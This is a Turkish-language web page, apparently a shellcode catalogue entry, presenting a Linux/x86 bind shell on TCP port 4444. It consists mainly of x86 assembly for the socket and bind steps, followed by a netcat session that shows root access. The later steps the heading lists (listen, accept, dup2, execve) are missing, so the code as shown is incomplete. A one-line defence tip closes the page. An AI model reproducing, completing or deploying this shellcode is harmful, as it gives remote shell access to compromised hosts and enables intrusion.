Linux/x86 Bind Shell TCP Port 4444 - 78 Bytes (Klasik)

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    <p class="text-xs font-bold uppercase tracking-widest text-indigo-700 mb-1">Klasik Shellcode - Linux x86 - 78 Bytes</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/x86 Bind Shell TCP Port 4444 - 78 Bytes</h2>
    <p class="text-sm text-slate-600 mt-2">Bind shell, hedef sistemde bir port acarak gelen baglantıyı bekler. Saldirgaan baglandiginda /bin/sh shell alir.</p>
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    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Socket Bind Listen Accept Dup2 Execve</h3>
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; socket(AF_INET, SOCK_STREAM, 0)
xor   eax, eax
mov   al,  102        ; socketcall
mov   bl,  1          ; SYS_SOCKET
push  eax
push  1               ; SOCK_STREAM
push  2               ; AF_INET
mov   ecx, esp
int   0x80
mov   esi, eax        ; sockfd

; bind(sockfd, port 4444)
push  0x5c110002      ; port 4444 + AF_INET
mov   ecx, esp
push  16
push  ecx
push  esi
mov   ecx, esp
mov   bl, 2           ; SYS_BIND
mov   al, 102
int   0x80
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    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Netcat ile Baglanti</h3>
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nc 192.168.1.100 4444
id
uid=0(root) gid=0(root)
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  <div class="bg-amber-50 border border-amber-200 rounded-xl p-4"><p class="text-xs font-bold text-amber-800 mb-1">SAVUNMA Tespit</p><p class="text-xs text-amber-700">netstat -tlnp ile acik portlari izleyin. Firewall ingress kurallari belirli portlara geleni engeller.</p></div>
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